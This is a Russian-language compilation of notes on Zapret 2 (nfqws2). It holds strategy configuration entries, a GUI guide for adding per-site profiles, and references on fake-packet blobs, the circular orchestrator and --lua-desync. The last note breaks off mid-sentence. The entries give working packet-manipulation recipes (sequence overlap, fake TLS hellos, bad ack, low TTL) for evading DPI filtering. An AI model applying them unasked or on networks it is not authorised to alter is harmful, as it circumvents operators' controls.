Теперь можем добавить "упрощённые" варианты стратегий! ## 🆕 Новые стратегии с tcpseg (без резки) ### 1️⃣ Простой seqovl без dup и без split ```python # ============================================================ # TCPSEG: ЧИСТЫЙ SEQOVL (БЕЗ РЕЗКИ, БЕЗ ДУБЛИРОВАНИЯ) # ============================================================ "tcpseg_211_simple": { "name": "SeqOvl 211 (Simple, No Split)", "description": "Только overlap 211 байт, без резки и дублирования", "author": "hz", "label": None, "args": f"""--blob=bin_tls5:@{BIN_FOLDER}\\tls_clienthello_5.bin {RUTRACKER_BASE_ARG} --payload=tls_client_hello --out-range=-d10 --lua-desync=tcpseg:pos=0,-1:seqovl=211:seqovl_pattern=bin_tls5""" }, "tcpseg_226_simple": { "name": "SeqOvl 226 (Simple, No Split)", "description": "Только overlap 226 байт, без резки и дублирования", "author": "hz", "label": None, "args": f"""--blob=bin_tls18:@{BIN_FOLDER}\\tls_clienthello_18.bin {RUTRACKER_BASE_ARG} --payload=tls_client_hello --out-range=-d10 --lua-desync=tcpseg:pos=0,-1:seqovl=226:seqovl_pattern=bin_tls18""" }, "tcpseg_286_simple": { "name": "SeqOvl 286 (Simple, No Split)", "description": "Только overlap 286 байт, без резки и дублирования", "author": "hz", "label": None, "args": f"""--blob=bin_tls11:@{BIN_FOLDER}\\tls_clienthello_11.bin {RUTRACKER_BASE_ARG} --payload=tls_client_hello --out-range=-d10 --lua-desync=tcpseg:pos=0,-1:seqovl=286:seqovl_pattern=bin_tls11""" }, "tcpseg_308_simple": { "name": "SeqOvl 308 (Simple, No Split)", "description": "Только overlap 308 байт, без резки и дублирования", "author": "hz", "label": None, "args": f"""--blob=bin_tls9:@{BIN_FOLDER}\\tls_clienthello_9.bin {RUTRACKER_BASE_ARG} --payload=tls_client_hello --out-range=-d10 --lua-desync=tcpseg:pos=0,-1:seqovl=308:seqovl_pattern=bin_tls9""" }, ``` --- ### 2️⃣ SeqOvl + Dup (БЕЗ резки) ```python # ============================================================ # TCPSEG: SEQOVL + DUP (БЕЗ РЕЗКИ) # ============================================================ "tcpseg_211_dup_d1": { "name": "SeqOvl 211 + Dup (No Split)", "description": "Overlap 211 + дублирование 1-го пакета, БЕЗ резки", "author": "hz", "label": None, "args": f"""--blob=bin_tls5:@{BIN_FOLDER}\\tls_clienthello_5.bin {RUTRACKER_BASE_ARG} --payload=tls_client_hello --out-range=-d1 --lua-desync=send:repeats=2 --out-range=-d10 --lua-desync=tcpseg:pos=0,-1:seqovl=211:seqovl_pattern=bin_tls5""" }, "tcpseg_226_dup_d1": { "name": "SeqOvl 226 + Dup (No Split)", "description": "Overlap 226 + дублирование 1-го пакета, БЕЗ резки", "author": "hz", "label": None, "args": f"""--blob=bin_tls18:@{BIN_FOLDER}\\tls_clienthello_18.bin {RUTRACKER_BASE_ARG} --payload=tls_client_hello --out-range=-d1 --lua-desync=send:repeats=2 --out-range=-d10 --lua-desync=tcpseg:pos=0,-1:seqovl=226:seqovl_pattern=bin_tls18""" }, "tcpseg_226_dup_n3": { "name": "SeqOvl 226 + Dup n3 (No Split)", "description": "Overlap 226 + дублирование первых 3 пакетов, БЕЗ резки", "author": "hz", "label": None, "args": f"""--blob=bin_tls18:@{BIN_FOLDER}\\tls_clienthello_18.bin {RUTRACKER_BASE_ARG} --payload=tls_client_hello --out-range=-n3 --lua-desync=send:repeats=2 --out-range=-d10 --lua-desync=tcpseg:pos=0,-1:seqovl=226:seqovl_pattern=bin_tls18""" }, "tcpseg_286_dup_n3": { "name": "SeqOvl 286 + Dup n3 (No Split)", "description": "Overlap 286 + дублирование первых 3 пакетов, БЕЗ резки", "author": "hz", "label": None, "args": f"""--blob=bin_tls11:@{BIN_FOLDER}\\tls_clienthello_11.bin {RUTRACKER_BASE_ARG} --payload=tls_client_hello --out-range=-n3 --lua-desync=send:repeats=2 --out-range=-d10 --lua-desync=tcpseg:pos=0,-1:seqovl=286:seqovl_pattern=bin_tls11""" }, "tcpseg_308_dup_n3": { "name": "SeqOvl 308 + Dup n3 (No Split)", "description": "Overlap 308 + дублирование первых 3 пакетов, БЕЗ резки", "author": "hz", "label": None, "args": f"""--blob=bin_tls9:@{BIN_FOLDER}\\tls_clienthello_9.bin {RUTRACKER_BASE_ARG} --payload=tls_client_hello --out-range=-n3 --lua-desync=send:repeats=2 --out-range=-d10 --lua-desync=tcpseg:pos=0,-1:seqovl=308:seqovl_pattern=bin_tls9""" }, ``` --- ### 3️⃣ С динамической генерацией (Google SNI) ```python # ============================================================ # TCPSEG: ДИНАМИЧЕСКИЕ (БЕЗ ФАЙЛОВ) # ============================================================ "tcpseg_226_google_simple": { "name": "SeqOvl 226 Google (Simple, No Split)", "description": "Overlap 226 с Google SNI, без резки и дублирования", "author": "hz", "label": LABEL_RECOMMENDED, # Рекомендуется - не требует файлов "args": f"""--lua-init="tls_google = tls_mod(fake_default_tls,'sni=www.google.com')" {RUTRACKER_BASE_ARG} --payload=tls_client_hello --out-range=-d10 --lua-desync=tcpseg:pos=0,-1:seqovl=226:seqovl_pattern=tls_google""" }, "tcpseg_226_google_dup_d1": { "name": "SeqOvl 226 Google + Dup (No Split)", "description": "Overlap 226 с Google SNI + дублирование 1-го пакета, БЕЗ резки", "author": "hz", "label": LABEL_RECOMMENDED, "args": f"""--lua-init="tls_google = tls_mod(fake_default_tls,'sni=www.google.com')" {RUTRACKER_BASE_ARG} --payload=tls_client_hello --out-range=-d1 --lua-desync=send:repeats=2 --out-range=-d10 --lua-desync=tcpseg:pos=0,-1:seqovl=226:seqovl_pattern=tls_google""" }, "tcpseg_226_google_dup_n3": { "name": "SeqOvl 226 Google + Dup n3 (No Split)", "description": "Overlap 226 с Google SNI + дублирование первых 3 пакетов, БЕЗ резки", "author": "hz", "label": None, "args": f"""--lua-init="tls_google = tls_mod(fake_default_tls,'sni=www.google.com')" {RUTRACKER_BASE_ARG} --payload=tls_client_hello --out-range=-n3 --lua-desync=send:repeats=2 --out-range=-d10 --lua-desync=tcpseg:pos=0,-1:seqovl=226:seqovl_pattern=tls_google""" }, ``` --- ### 4️⃣ С различными fooling параметрами ```python # ============================================================ # TCPSEG: С FOOLING # ============================================================ "tcpseg_226_datanoack": { "name": "SeqOvl 226 + DataNoAck (No Split)", "description": "Overlap 226 с убиранием ACK флага, БЕЗ резки", "author": "hz", "label": None, "args": f"""--blob=bin_tls18:@{BIN_FOLDER}\\tls_clienthello_18.bin {RUTRACKER_BASE_ARG} --payload=tls_client_hello --out-range=-d10 --lua-desync=tcpseg:pos=0,-1:seqovl=226:seqovl_pattern=bin_tls18:tcp_flags_unset=ack""" }, "tcpseg_226_ttl": { "name": "SeqOvl 226 + TTL (No Split)", "description": "Overlap 226 с TTL=5, БЕЗ резки", "author": "hz", "label": None, "args": f"""--blob=bin_tls18:@{BIN_FOLDER}\\tls_clienthello_18.bin {RUTRACKER_BASE_ARG} --payload=tls_client_hello --out-range=-d10 --lua-desync=tcpseg:pos=0,-1:seqovl=226:seqovl_pattern=bin_tls18:ip_ttl=5:ip6_ttl=5""" }, "tcpseg_226_badseq": { "name": "SeqOvl 226 + BadSeq (No Split)", "description": "Overlap 226 с badseq, БЕЗ резки", "author": "hz", "label": None, "args": f"""--blob=bin_tls18:@{BIN_FOLDER}\\tls_clienthello_18.bin {RUTRACKER_BASE_ARG} --payload=tls_client_hello --out-range=-d10 --lua-desync=tcpseg:pos=0,-1:seqovl=226:seqovl_pattern=bin_tls18:tcp_ack=-66000""" }, ``` --- ## 📊 Сравнительная таблица: multisplit vs tcpseg | Параметр | multisplit + seqovl | tcpseg(pos=0,-1) + seqovl | |----------|---------------------|---------------------------| | **Количество пакетов** | 2 (резка по умолчанию на pos=2) | **1 (без резки)** | | **Сложность** | Средняя | **Минимальная** | | **Нагрузка на сеть** | Выше | **Ниже** | | **Эффективность** | Высокая (запутывание + резка) | Средняя (только запутывание) | | **CPU нагрузка** | Выше | **Ниже** | --- ## 🎯 Когда использовать какую стратегию? ### Используй **multisplit**: - ✅ Когда DPI анализирует целостность пакетов - ✅ Для агрессивного обхода - ✅ Когда tcpseg не помогает ### Используй **tcpseg** (pos=0,-1): - ✅ **Для начала тестирования** (проще) - ✅ Когда достаточно "запутать" DPI мусором - ✅ Для экономии ресурсов - ✅ Когда резка не нужна --- ## 💡 Рекомендуемая стратегия тестирования: ```python # Шаг 1: Самая простая (tcpseg без dup) "tcpseg_226_google_simple" # Шаг 2: Добавить дублирование "tcpseg_226_google_dup_d1" # Шаг 3: Если не помогло - добавить резку "multisplit_226_seqovl_dynamic" # Шаг 4: Если не помогло - агрессивная стратегия "multisplit_286_pattern" (dup n3 + резка) ``` --- ## 📝 Полная структура новых стратегий: ```python # ============================================================ # КАТЕГОРИЯ: TCPSEG (SEQOVL БЕЗ РЕЗКИ) # ============================================================ TCPSEG_STRATEGIES = { # Простые (без dup) "tcpseg_211_simple": {...}, "tcpseg_226_simple": {...}, "tcpseg_286_simple": {...}, "tcpseg_308_simple": {...}, # С дублированием (dup -d1) "tcpseg_211_dup_d1": {...}, "tcpseg_226_dup_d1": {...}, # С дублированием (dup -n3) "tcpseg_226_dup_n3": {...}, "tcpseg_286_dup_n3": {...}, "tcpseg_308_dup_n3": {...}, # Динамические (без файлов) "tcpseg_226_google_simple": {...}, # ← РЕКОМЕНДУЕТСЯ для начала "tcpseg_226_google_dup_d1": {...}, # ← РЕКОМЕНДУЕТСЯ для YouTube "tcpseg_226_google_dup_n3": {...}, # С fooling "tcpseg_226_datanoack": {...}, "tcpseg_226_ttl": {...}, "tcpseg_226_badseq": {...}, } ``` --- ## ✅ Преимущества добавления tcpseg стратегий: 1. ✅ **Больше вариантов для тестирования** 2. ✅ **Меньше нагрузки** (1 пакет vs 2+) 3. ✅ **Проще для понимания** (нет резки) 4. ✅ **Быстрее работает** (меньше операций) 5. ✅ **Градация сложности** (от простого к сложному) --- **Да, определённо стоит добавить эти стратегии! Они дадут пользователям "мягкий вход" - начать с простых вариантов и постепенно усложнять.** 🚀 ``` "multidisorder_badseq_pos": { "name": "original bol-van v2 (badsum)", "description": "Дисордер стратегия с фуллингом badseq нарезкой и повтором 6", "author": "hz", "label": None, "args": f"""--payload=tls_client_hello --out-range=-d10 --lua-desync=fake:blob=fake_default_tls:repeats=6:tcp_ack=-66000 --lua-desync=multidisorder:pos=1,midsld:tcp_ack=-66000""" }, "fake_fakedsplit_autottl_2": { "name": "fake fakedsplit badseq (рекомендуется для 80 порта)", "description": "", "author": "hz", "label": None, "args": f"""--payload=http_req --out-range=-d10 --lua-desync=fake:blob=fake_default_http:ip_autottl=2,3-20:ip6_autottl=2,3-20:tcp_ack=-66000:tcp_ts_up --lua-desync=fakedsplit:ip_autottl=2,3-20:ip6_autottl=2,3-20:tcp_ack=-66000:tcp_ts_up""" }, ``` --- --- date: 2026-06-28 tags: - zapret - zapret2 - gui - preset - profile - howto aliases: - Как добавить профиль - Добавить профиль - Создать профиль - Создать профиль в Zapret 2 - Как добавить свой сайт - Добавить свой сайт в пресет - Добавить сайт в Zapret - Свой профиль - Пользовательский профиль - Добавить домен в профиль --- # ➕ Как добавить свой профиль (сайт) в [[Zapret2|Zapret 2]] > [!info] О чём заметка > Пошаговый рецепт: как **с нуля добавить собственный профиль** под нужный вам сайт через GUI Zapret 2 — от бэкапа пресета до проверки, что обход работает. Это практическое продолжение [[profile|«Что такое профиль»]]: там — *что* такое профиль и из чего он состоит, здесь — *как* его создать своими руками. Справочники по полям профиля — [[filter]], [[out-range]], [[payload]], [[desync]]. Ручная настройка без GUI — [[guide]] · [[Как пользоваться Zapret]]. > [!tip] TL;DR — пять шагов > 1. **Дублируй** рабочий пресет (это бэкап) и сделай копию активной — все правки пойдут в неё, остальные настройки не пострадают. > 2. **Создай профиль**: вкладка «Профили пресета» → большой `+` → заполни **Название** и **TCP-порты** (`80,443-65535`, если не знаешь) → «Добавить». > 3. **Добавь домен**: открой свой профиль → вкладка «Редактор» → тип **Hostlist** → впиши домен в «Ваши записи» → «Сохранить список». > 4. **Подбери стратегию** (через [[Blockcheck|BlockCheck]] / вручную) и выбери её в «Готовые стратегии». > 5. **Включи** профиль чекбоксом «Включён» и проверь во вкладке «Управление Zapret 2». --- ## Шаг 1. Сделай бэкап — дублируй рабочий пресет > [!warning] Зачем это нужно > Все изменения дальше пойдут **внутри пресета**. Если экспериментировать прямо в рабочем пресете и что-то сломать — потеряете уже настроенный обход. Поэтому сначала делаем копию-«песочницу» и работаем **в ней**: что бы вы там ни наворотили, оригинал останется цел. 1. Слева выбери **«Мои пресеты»**. 2. Найди пресет, с которым будешь работать. Если это тот, что включён сейчас, — он помечен меткой **«Активный»**. 3. Нажми на **три точки** справа от пресета. 4. Выбери **«Дублировать»**. ![[add-profile-01-duplicate.png]] 5. Рядом появится копия с пометкой **«(копия)»**. Нажми на неё и **сделай её активной**. ![[add-profile-02-copy-active.png]] > [!note] Дальше работаем только с копией > С этого момента всё происходит внутри пресета-копии. Любые правки изолированы и не затронут другие ваши настройки. ## Шаг 2. Создай новый профиль 1. Перейди во вкладку **«Профили пресета»**. 2. Нажми большой **`+`** в верхней части экрана. ![[add-profile-03-new-button.png]] 3. **Название** — заполни обязательно. На работу обхода оно **не влияет**, нужно только вам, чтобы потом найти профиль в списке. В примере ниже профиль назван `Абыр`. 4. **TCP-порты** — заполни обязательно. Формат: один порт, диапазон или список через запятую. Если не знаешь, что писать, — впиши **`80,443-65535`** (HTTP + весь диапазон HTTPS и прочего TLS). Подробнее про порты и фильтры — [[filter]]. 5. Нажми **«Добавить»**. ![[add-profile-04-add-dialog.png]] > [!tip] Тип профиля и два пустых списка > Диалог создаёт пользовательский профиль и **два пустых файла списков** сразу — `hostlist` (домены) и `ipset` (IP-адреса). Для работы по **имени домена** дальше используем hostlist; для IP — ipset (см. [[hostlist]] и [[ipset]]). 6. Вернувшись во вкладку «Профили пресета», найди в разделе **«Сайты»** свой новый профиль по названию (можно через поиск) и **нажми на него**. ![[add-profile-05-find-in-list.png]] ## Шаг 3. Добавь домен в профиль Теперь указываем, **к каким сайтам** этот профиль будет применяться. 1. Убедись, что выбран нужный профиль — проверь его **название вверху** экрана (хлебные крошки `Управление → Настройка пресета → <ваш профиль>`). 2. Выбери вкладку **«Редактор»**. 3. Убедись, что слева выбран вариант **«Hostlist»** — это работа с сайтами по **имени домена**. (Если работаешь с IP-адресами — нужен другой вариант, ipset.) ![[add-profile-06-editor.png]] 4. В нижнее поле **«Ваши записи»** внеси имя домена — по одному на строку (в поле есть подсказка с примером). В образце введён `ooo.com`; впиши сюда нужный вам сайт. 5. Нажми **«Сохранить список»** внизу экрана. ![[add-profile-07-domain.png]] > [!note] База и «Ваши записи» — это разные файлы > Сверху («База») — общий список из пресета, его не трогаем. Снизу («Ваши записи», `lists/user/<профиль>.txt`) — **ваши** домены. Счётчик внизу показывает, сколько записей всего и сколько из них ваших. ## Шаг 4. Подбери стратегию и включи профиль Сайт добавлен. Осталось задать профилю **стратегию обхода** и включить его. Саму рабочую стратегию подбирают через автоподбор в [[Blockcheck|BlockCheck]], вручную или иным способом — см. [[desync|стратегии обхода]] и [[symptom-not-cause|почему «не работает» — это симптом]]. 1. Перейди в раздел **«Готовые стратегии»**. 2. Найди подходящую стратегию (вручную или через поиск) и выбери её — справа появится метка **«Выбрана»**. 3. **ВАЖНО!** Включи профиль в правом верхнем углу — отметь чекбокс **«Включён»**. Без этого профиль создан, но не работает. ![[add-profile-08-strategy.png]] > [!warning] На скриншоте выбрана `pass (ничего не делает)` — это лишь пример > `pass` показан только чтобы видеть, **где появляется метка «Выбрана»** и чекбокс «Включён». Сама по себе она трафик не «дурит». Поставьте свою рабочую стратегию, подобранную под этот сайт. 4. Перейди на вкладку **«Управление Zapret 2»** и убедись, что статус — **«Zapret работает. Обход блокировок активен»**. ![[add-profile-09-verify.png]] ✅ **Готово.** Свой профиль создан, домен в него добавлен, стратегия выбрана и профиль включён. --- > [!question] Профиль создал, а сайт всё равно не открывается > Это нормальная ситуация подбора: одному сайту подходит одна стратегия, другому — другая, и при смене DPI у провайдера стратегия устаревает. Это **симптом**, а не «поломка программы». Перебирайте стратегии в «Готовых» или подбирайте через [[Blockcheck|BlockCheck]]; полный разбор частых жалоб — [[symptom-not-cause|Почему «Запрет не работает» — это симптом, а не причина]]. > > Но прежде чем винить стратегию — убедитесь, что **проверяете честно**: открывайте сайт новым соединением (новое окно инкогнито / `Ctrl+F5`, а не простой F5), а вердикту автоподбора не верьте вслепую — он проверяет через `curl`, отпечаток которого отличается от браузера. Подробно про обе ловушки — в [[verify-strategy|«Как проверить, заработала ли стратегия»]]. > [!tip] Порядок профилей имеет значение > Узкие профили конкретных сайтов должны стоять **выше** широких ipset-профилей (Cloudflare, провайдер), иначе широкий профиль перехватит трафик первым. Новый профиль GUI обычно ставит наверх сам — но если правите порядок вручную, держите своё правило выше общих. Подробнее — [[profile#Порядок профилей важен: чем выше — тем главнее|про порядок профилей]]. И помните: профили **не смешивают** стратегии — на сайт работает один профиль; если включение одного профиля ломает другой сайт, дело в порядке/фильтре, а не в стратегии (см. [[profile-independence|Один сайт — один профиль]]). ## 📚 См. также - [[profile]] — что такое профиль, из каких полей состоит и почему вся работа идёт через профили - [[profile-independence|Профили не влияют друг на друга]] — один сайт = один профиль; стратегии не складываются, но профили конкурируют за трафик по порядку - [[preset]] — что такое пресет и почему «чужой готовый пресет» не всегда панацея - [[filter]] — фильтры профиля и порты (`--filter-tcp/udp`, `--hostlist`, `--ipset`) - [[desync]] — стратегии обхода (fake, split, disorder и др.), которые выбираются в «Готовых стратегиях» - [[hostlist]] · [[ipset]] — файлы со списками доменов и IP - [[Создание своей категории]] — как собрать адреса ресурса для своего профиля - [[find-game-strategy|Как найти стратегию для игры]] — сценарий профиля под игру: IP из TCPView → перебор стратегий - [[Blockcheck|BlockCheck]] — автоподбор рабочей стратегии - [[verify-strategy|Как проверить, заработала ли стратегия]] — две ловушки проверки результата (curl ≠ браузер; F5 не пересоздаёт соединение) - [[symptom-not-cause|Почему «не работает» — это симптом, а не причина]] — что делать, если профиль не помог - [[guide]] · [[Как пользоваться Zapret]] — ручная настройка профилей без GUI --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория одним zip-архивом доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/Zapret2/add-profile.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- --- tags: link: aliases: - blob - блоб img: --- # Блобы (Blobs) в [[Zapret2]] **Блоб (blob)** — это переменная Lua типа `string`, содержащая блок **двоичных данных** произвольной длины (от 1 байта до гигабайтов). Блобы используются для хранения fake-пакетов и других бинарных данных. --- ## 📦 **Стандартные блобы** nfqws2 автоматически инициализирует **3 стандартных блоба** при запуске: ### 1. **`fake_default_tls`** (680 байт) **Что это:** TLS Client Hello пакет с SNI `www.microsoft.com` **Содержимое:** - TLS версия: 1.2/1.3 - Cipher suites: современные шифры - SNI: `www.microsoft.com` (по умолчанию) - Поддержка HTTP/2 - Расширения: supported_groups, signature_algorithms, key_share и др. **Использование:** ```bash --payload=tls_client_hello --lua-desync=fake:blob=fake_default_tls ``` ### 2. **`fake_default_http`** (227 байт) **Что это:** HTTP GET запрос **Содержимое:** ```http GET / HTTP/1.1 Host: www.iana.org User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Encoding: gzip, deflate, br ``` **Использование:** ```bash --payload=http_req --lua-desync=fake:blob=fake_default_http ``` ### 3. **`fake_default_quic`** (620 байт) **Что это:** QUIC Initial пакет (минимальный валидный пакет) **Содержимое:** - Первый байт: `0x40` (QUIC long header) - Остальное: нули (620 байт всего) **Использование:** ```bash --payload=quic_initial --lua-desync=fake:blob=fake_default_quic ``` --- ## 🔧 **Модификации TLS блоба (`tls_mod`)** Функция **`tls_mod(blob, modlist, payload)`** модифицирует TLS Client Hello. ### Доступные модификации: #### 1. **`rnd`** - Рандомизация поля "random" - Заменяет 32-байтовое поле "random" в TLS handshake на случайные данные - Делает каждый fake-пакет уникальным #### 2. **`rndsni`** - Случайный SNI - Генерирует случайное доменное имя - Заменяет SNI в TLS расширении - Пример: `www.microsoft.com` → `a7b3c.com` #### 3. **`sni=<домен>`** - Установить конкретный SNI - Заменяет SNI на указанный домен - Пример: `sni=www.google.com` #### 4. **`dupsid`** - Дублировать Session ID - Копирует Session ID из **реального** TLS handshake (из `payload`) - Требует третий параметр — реальный payload пакета - Делает fake более похожим на настоящий #### 5. **`padencap`** - Padding encapsulation - Добавляет padding в TLS расширения - Увеличивает размер пакета #### 6. **`none`** - Без модификаций - Явно указывает, что модификации не нужны --- ## 💡 **Примеры использования** ### Базовое использование стандартных блобов: ```bash # TLS fake без модификаций --lua-desync=fake:blob=fake_default_tls # HTTP fake --lua-desync=fake:blob=fake_default_http # QUIC fake --lua-desync=fake:blob=fake_default_quic ``` ### Модификация TLS при старте: ```bash # Однократно при старте изменить SNI на случайный и рандомизировать поле random --lua-init="fake_default_tls = tls_mod(fake_default_tls,'rnd,rndsni')" ``` ### Модификация TLS на лету: ```bash # При каждой отправке менять SNI на google.com и копировать session ID --lua-desync=fake:blob=fake_default_tls:tls_mod=rnd,dupsid,sni=www.google.com ``` ### Комбинированные примеры: ```bash # Для YouTube: fake с google.com SNI, MD5 signature, 11 повторов --payload=tls_client_hello --lua-desync=fake:blob=fake_default_tls:tcp_md5:repeats=11:tls_mod=rnd,dupsid,sni=www.google.com ``` ### Создание собственных блобов: ```bash # Загрузить blob из hex-строки --blob=myblob:0x1603010000 # Загрузить blob из файла --blob=custom_tls:@/path/to/tls_clienthello.bin # Загрузить с offset --blob=custom_tls:+100@/path/to/file.bin # Использовать свой blob --lua-desync=fake:blob=myblob ``` --- ## 🔍 **Как работает `tls_mod`** ### Синтаксис: ```lua tls_mod(blob, modlist, [payload]) ``` **Параметры:** 1. `blob` - исходный TLS Client Hello (строка с бинарными данными) 2. `modlist` - список модификаций через запятую 3. `payload` (опционально) - реальный TLS handshake для копирования Session ID **Возвращает:** модифицированный TLS Client Hello ### Примеры в Lua: ```lua -- При старте программы fake_default_tls = tls_mod(fake_default_tls, 'rnd,rndsni') -- В desync функции с реальным payload fake_payload = tls_mod(fake_default_tls, 'dupsid,sni=www.google.com', desync.reasm_data) ``` --- ## 📋 **Полный пример конфигурации** ```bash nfqws2 \ --lua-init=@zapret-lib.lua --lua-init=@zapret-antidpi.lua \ --lua-init="fake_default_tls = tls_mod(fake_default_tls,'rnd,rndsni')" \ --blob=quic_google:@quic_initial_www_google_com.bin \ \ --filter-tcp=80 --filter-l7=http \ --payload=http_req --lua-desync=fake:blob=fake_default_http:tcp_md5 \ --lua-desync=multisplit:pos=method+2 \ --new \ \ --filter-tcp=443 --filter-l7=tls \ --payload=tls_client_hello --lua-desync=fake:blob=fake_default_tls:tcp_md5:repeats=6 \ --lua-desync=multidisorder:pos=1,midsld \ --new \ \ --filter-udp=443 --filter-l7=quic \ --payload=quic_initial --lua-desync=fake:blob=quic_google:repeats=11 ``` --- ## 🎯 **Ключевые моменты** 1. **Стандартные блобы** инициализируются автоматически — не нужно их загружать 2. **`fake_default_tls`** содержит SNI `www.microsoft.com` по умолчанию 3. **`tls_mod`** может применяться: - **Один раз при старте** через `--lua-init` - **На лету** при каждой отправке через параметр `tls_mod=` в desync функции 4. **`dupsid`** требует реальный payload — работает только в функциях `fake`, `syndata` и подобных 5. **Модификации комбинируются** через запятую: `rnd,rndsni,dupsid,sni=domain.com` Блобы — это мощный механизм для создания fake-пакетов любой сложности без жестко зашитых параметров в коде программы! --- --- # circular — оркестратор циклического переключения стратегий `circular` — Lua-оркестратор, который автоматически переключает стратегию десинхронизации при обнаружении неудач (RST, ретрансмиссии, HTTP-редирект DPI). **Требует** перехвата входящего трафика (`--in-range`) для детектирования RST и HTTP-ответов. --- ## Синтаксис ``` --lua-desync=circular[:param=val[:...]] --lua-desync=:strategy=1[:final] --lua-desync=:strategy=2 ... ``` Каждый подчинённый инстанс **обязан** иметь `strategy=N`, где N начинается с 1 без пропусков. --- ## Параметры circular | Параметр | Описание | По умолчанию | |---|---|---| | `fails=N` | Порог неудач для переключения стратегии | `3` | | `time=N` | Сбросить счётчик неудач, если последняя была > N секунд назад | `60` | | `failure_detector=func` | Имя кастомной Lua-функции детектора неудач | `standard_failure_detector` | | `success_detector=func` | Имя кастомной Lua-функции детектора успеха | `standard_success_detector` | | `hostkey=func` | Имя кастомной функции генератора ключа хоста | `standard_hostkey` | | `key=string` | Имя таблицы в `autostate` — изоляция состояния между несколькими `circular` | автоматически | | `nld=N` | Обрезать hostname до N-уровневого домена (`static.a.google.com` → `google.com` при `nld=2`) | без обрезки | | `reqhost` | Не работать, если hostname неизвестен (только IP) | выкл. | --- ## Параметры на подчинённых инстансах | Параметр | Описание | |---|---| | `strategy=N` | **Обязательно.** Номер стратегии, начиная с 1, без пропусков | | `final` | Финальная стратегия — ротация на ней останавливается | --- ## Параметры standard_failure_detector Передаются прямо в `circular` (не в подчинённые инстансы). ### TCP | Параметр | Описание | По умолчанию | |---|---|---| | `retrans=N` | Кол-во ретрансмиссий = неудача | `3` | | `maxseq=N` | Считать ретрансмиссии только до этой relative sequence | `32768` | | `reset` | Слать RST ретрансмиттеру (ускоряет разрыв зависшего соединения) | выкл. | | `inseq=N` | Входящий RST считается неудачей только до этой rseq | `4096` | | `no_rst` | Отключить триггер по входящему RST | выкл. | | `no_http_redirect` | Отключить триггер по HTTP-редиректу DPI | выкл. | ### UDP | Параметр | Описание | По умолчанию | |---|---|---| | `udp_out=N` | Неудача если исходящих пакетов >= N | `4` | | `udp_in=N` | Неудача если входящих пакетов <= N | `1` | --- ## Параметры standard_success_detector | Параметр | Описание | По умолчанию | |---|---|---| | `maxseq=N` | TCP: если исходящая rseq > N — соединение успешно | `32768` | | `inseq=N` | TCP: если входящая rseq > N — соединение успешно | `4096` | | `udp_in=N` | UDP: если входящих пакетов > N — успех | `1` | --- ## Стратегия из нескольких фаз Одна стратегия может включать **несколько инстансов** с одинаковым `strategy=N`. `circular` проходит весь план и выполняет **все** инстансы, у которых номер совпадает — по порядку. ```bash --lua-desync=circular:fails=1:time=300 --lua-desync=fake:blob=fake_default_http:repeats=4:strategy=1 # фаза 1 --lua-desync=multisplit:pos=2:seqovl=211:strategy=1 # фаза 2 --lua-desync=multidisorder:pos=host:strategy=2:final ``` Для стратегии 1 последовательно выполнятся `fake` → `multisplit`. ### Форматирование в config Параметры внутри `NFQWS2_OPT="..."` можно переносить на новые строки и делать отступы — shell разбирает их как обычные пробелы: ```bash NFQWS2_OPT=" --filter-tcp=443 --filter-l7=tls --payload=tls_client_hello --out-range=-d1000 --in-range=-s5556 --lua-desync=circular:fails=1:time=300:retrans=3:nld=2 --lua-desync=fake:blob=fake_default_http:repeats=4:strategy=1 --lua-desync=multisplit:pos=2:seqovl=211:strategy=1 --lua-desync=multidisorder:pos=host:strategy=2:final --new " ``` --- ## Пример ``` --in-range=-s5556 --out-range=-d1000 --lua-desync=circular:fails=1:time=300:retrans=3:nld=2 --lua-desync=multisplit:pos=2:strategy=1 --lua-desync=fake:blob=fake_default_http:strategy=2 --lua-desync=multidisorder:pos=host:strategy=3:final ``` - `fails=1` — переключить стратегию после 1 неудачи - `time=300` — сбросить счётчик если последняя неудача была > 5 мин назад - `retrans=3` — неудача = 3 ретрансмиссии - `nld=2` — ключ хоста = 2-уровневый домен (`google.com`) - `final` на стратегии 3 — остановить ротацию на ней --- ## Как работает 1. Пакет приходит в `circular` с `ctx` 2. `circular` берёт план (все подчинённые инстансы) и отменяет нормальный цикл C 3. Проверяет детектор неудач/успеха для текущего соединения 4. Если неудач >= `fails` — переходит к следующей стратегии `(N % total) + 1` 5. Если достигнута `final`-стратегия — ротация останавливается 6. Выполняет **только** инстансы с `strategy=текущая` Состояние (номер стратегии, счётчик неудач) хранится **per-host** в глобальной таблице `autostate` и переживает отдельные соединения. --- --- date: 2026-07-17 tags: - zapret - zapret2 - nfqws2 - lua - lua-desync - desync - antidpi link: https://github.com/bol-van/zapret2/blob/master/docs/manual.md aliases: - lua-desync - Десинхронизация - Механизм --lua-desync img: --- # 🧨 Десинхронизация: флаг `--lua-desync` > [!info] О чём заметка > Обзор `--lua-desync` — главного механизма обхода DPI в [[Zapret2/Zapret2|Zapret 2]]: что это за флаг, как он вызывается для каждого пакета и какие бывают функции-стратегии. Это **заметка-хаб**: здесь общая картина и каталог функций со ссылками, а детальные аргументы каждой функции — в её собственной заметке ([[multisplit]], [[fake]] и т. д.). Устройство входных данных функции (`ctx`, `desync`, диссект, `track`) вынесено в [[структура desync и диссекта]]. Где `--lua-desync` стоит среди других полей — см. [[profile|профиль]] и [[preset|пресет]], а где вызов происходит в общем конвейере — [[схема обработки трафика]]. ## Что такое `--lua-desync` DPI (Deep Packet Inspection) блокирует соединения, распознавая в трафике сигнатуры — домен в SNI у TLS, `Host:` у HTTP. Чтобы обойти блокировку, пакеты нужно так изменить или дополнить, чтобы DPI не собрал корректную картину, а сервер-получатель — собрал. В Zapret 2 вся эта логика вынесена из C-ядра в Lua-функции (почему так — [[структура проекта]]), и подключаются они флагом `--lua-desync`. `--lua-desync` вызывает одну Lua-функцию **для каждого пакета**, прошедшего через [[filter|фильтры]] [[profile|профиля]]. Синтаксис: ```bash --lua-desync=<функция>[:параметр1=значение1[:параметр2=значение2]] ``` Флаг можно указать несколько раз — каждый вызов называется **инстансом**, и инстансы выполняются строго по порядку задания (порядок важен: 